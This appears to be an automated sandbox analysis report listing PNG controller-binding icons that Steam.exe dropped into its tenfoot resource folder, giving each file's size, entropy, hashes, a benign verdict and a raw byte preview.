Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0309.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	22499
Entropy (8bit):	7.932362773080935
Encrypted:	false
SSDEEP:
MD5:	256BC4AC2B67442DF76E22646FA2099B
SHA1:	52CC1FF3D0C4767F57BDFF1E3F520B96035E65F4
SHA-256:	111C9E359FE1D6AED292FB69EE9A0735D5DF349F2BC109DD4BE2D2A815F79D8D
SHA-512:	8845AEFA73FA97E2A3036B70B09550F28520D18ECC12B2BA021EFC879EDBD99AF84B246AF32A218AF1A94E2382D65BEA4FF9EC7E7557BACB26D5BF511697692A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0310.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15852
Entropy (8bit):	7.845173759980502
Encrypted:	false
SSDEEP:
MD5:	F18D3F4A03B3169A6FF462ADD221456A
SHA1:	2FF2C12DC50E4CC6868726F62AAB2A79C28B2548
SHA-256:	5E257F7E162A6F1E135A6873701700086EC473AAA3DAD7024CC452734BEE5C79
SHA-512:	16D7B16881AA5E4778B12BD4106D84215D1F0EBF805718F04251D18B3D8436EB7842FAA589B281A8929AEBCD0132A54629C5B5285ECE8183759A6BAC1F1FC046
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0311.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	11272
Entropy (8bit):	7.711568458409887
Encrypted:	false
SSDEEP:
MD5:	BD1223671143B4684AB8769CEB38DD31
SHA1:	4D61DC5546D18D95C490EEADA4CF798FF1827E6B
SHA-256:	62533FD41B0EFBE08833E42DAC3AB5D507EE0BC6616F40182D1DC4FE0531AF68
SHA-512:	76E2C6B898DC5B0F94A1DC4D38FF00E4F48DF3050B631ED04451B0465D863A3EC2D2C01B7F434D7A6D8425E649A5E11A9C6ADC0173A2F569A9970C6933E0F51E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0312.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17877
Entropy (8bit):	7.86696287399542
Encrypted:	false
SSDEEP:
MD5:	2AE952FA93EF92E415F0C93E7871305D
SHA1:	79B7C5AC686A258FE90DDA7C321E9C0F969431DB
SHA-256:	31D354F90DAFE9D02F60AB1398A2519EC53B5AEC11B5E7A0C7BB7D157712CD29
SHA-512:	E9AD1C90876C37344DE6996138149F380FD98A7840DF3DA08E0E35EBF6DAA4DDAA90704E93367F63816DB544E40DD428438B5E43186882157A82A849B79E312E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0313.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19682
Entropy (8bit):	7.8500805192122245
Encrypted:	false
SSDEEP:
MD5:	B448075B5F9E1B93CCA454DE8DED9C8C
SHA1:	95674CD72EA138E51F28446DE7EFFC15EE671B9E
SHA-256:	93C076CD57CF1E2E9883749623C44637B7D0F384DBCDA1E05601E664F4C16AA0
SHA-512:	8365810628FF988EE8366348AB2156F64921952DF5B7FA1631A9F07CDE0393BEAB73489C6AC61A98802FA4B2FAEDF87A43361B55B216166D01F8AD779244B3A3
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0315.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23356
Entropy (8bit):	7.897584292504281
Encrypted:	false
SSDEEP:
MD5:	694BF79FC7FC99049F4E8F7D7F07C2C7
SHA1:	7DC457B6E8A4AE31455D9330EB33AF1A64AABE03
SHA-256:	F3B4DA71CD56EA26A4BEE70584425B0CC73722FFB615F6486AE80FE49223DFDE
SHA-512:	96C04839311D6449CFB71FED99AC0290F6E9B3EDA3724314FAF5F073953D200451694EF5899715CA270A1788CCBFB285CC58495EE171E41E37A21BE69C6E5E7D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0316.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13346
Entropy (8bit):	7.82570216816673
Encrypted:	false
SSDEEP:
MD5:	0436E145E254EB408E338D429552A35C
SHA1:	5DD48D5D8EEFF99939357261F9E01C282E5C3037
SHA-256:	18D218CE00C83B43B08625DE2F902AC3714B864BD7B71DF0A6A0B08504DCA2B0
SHA-512:	861658C94F8FB32416FEC692EB555154BBE4370C73B7667C08D55C41D366E6293165CC7A355CC97C0E5C117D0178FA2A7902BBE89EA3035E5212FD74F8FDDD3A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0317.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	31843
Entropy (8bit):	7.938238804420675
Encrypted:	false
SSDEEP:
MD5:	99AD725E279FE4B7A2B1233B49D77E87
SHA1:	453968223EB6C9F34C3B579641495D4AB6353777
SHA-256:	0B4AEFE7A2E352295D1937ACF2ABA6A0B8968C460E01AB6DE7FA0ED5EAE40D5B
SHA-512:	6DE17FA532AA49A51B1D5F917D30B31776EB686B3317C47D2CDEF6EDAA574308571A2B9BD1EB1410CE9AB01F260E5378BD604F4DFACE964B7E573BFF398173D6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0318.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16265
Entropy (8bit):	7.840584318952167
Encrypted:	false
SSDEEP:
MD5:	1D320858828452F2E2FD58930A107219
SHA1:	0DE3A02DF15D36477790AFBEE88AC064018B0F92
SHA-256:	91922A0D8DFE96E2BDB73390E31F254B0E84D678FEB1556313F2D487BE8E8F08
SHA-512:	D9F419A54ED0A7992EAC6F25B226D30E32491B400F95D85A74C1CFD4CB111D0A741469887220DDFC44D3470A06D668C60D23BF3867E9A621F17A0131657144FD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0319.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	16993
Entropy (8bit):	7.873624455146517
Encrypted:	false
SSDEEP:
MD5:	47E4F557AFBA800FE0C3A0E45DDE6165
SHA1:	25A4CBA20C63E5A7A931339B0A9DB6A6002B0FC5
SHA-256:	663C9FE9970355794943CD555C921B7766F3C8EA84D0B785B56F20475C0AB4BE
SHA-512:	266AF7CF08DC3B6B7356542B42D73203392B546EEC8E503DF928320D30B16154E04BFEB761ECBD8FDEF17289BC4383757ACC111EB51E8F70638A2947987F2EEB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0320.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13636
Entropy (8bit):	7.841655001512187
Encrypted:	false
SSDEEP:
MD5:	B080AF521FA860F06D7DFABBC685D243
SHA1:	00CE15A3AD02B2156193A593212C557A7761FC2F
SHA-256:	1A7284E48401B3740ADB7B2883E5632FC3A3343FD109FB94D74A4938BDA12332
SHA-512:	D7520A80B303DF3266269176D64D7A98E064E05B5ECAEF3A7C73B1C086639A9AE08DDF56F230E55825C17D1A48035289DB2A61E20BFE7B528B06E38BC0469B0E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0321.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	19112
Entropy (8bit):	7.893159108746937
Encrypted:	false
SSDEEP:
MD5:	E8237A3B3DC2C7ADB4E4E40555025583
SHA1:	1A01F289670A80E71DDE1BE39F6096B53DE8D7ED
SHA-256:	782E258B6472CD753DF26CBEDBC737F47D51D8E1901F7A79453132E1C936EBD3
SHA-512:	C2753C8FD0F6C0FAA28DFDE96346089030D8C20CCE40959C8D81A725B678B3C53705B4D0057041AFA5C1BCDD1EB69E8208FE5BF1EFDECC78B0D126DE19E2C6CC
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0322.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	23254
Entropy (8bit):	7.901996556148799
Encrypted:	false
SSDEEP:
MD5:	DC89E6CDF42120A78E1EE2AF7FE42444
SHA1:	A8E7E594E048E8A46C3D0F0A429C23C2E278E06F
SHA-256:	0510AD9F248E3AFB111A12DBD7C025D5BFA4A97E00CF4793DA9EFDB935C8B50C
SHA-512:	B0B4D3B8090AED1E7E24F46609C936E6932BE4161EABBA9FE40D3ADD70DFDD2A848688BF96D289C5EBCC3EDE361010C5C217CE74CAEAAB7F9BC9A4D1D87ACE62
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\binding_icons\ghost_035_magic_0323.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	41671
Entropy (8bit):	7.963082577042215
Encrypted:	false
SSDEEP:
MD5:	16FC5A27A46370671B7B01CF3B33DCCD
SHA1:	0EEBF4E886C95154F7EA4071AF9479A0D01619AE
SHA-256:	333B1C939A3F0D9E0A584873F98E4C36DC4D77EE5EA0F25487E5F10375CE709A
SHA-512:	5BB132616193362C25014F3A328F55B7A8F3C52FC3F9EAD0E1E2574E4F418E821AAE0F60BF0A8C8210B6C651711E4FA3050AA131F200BF9825A9A16E69B92D03
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............x......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T 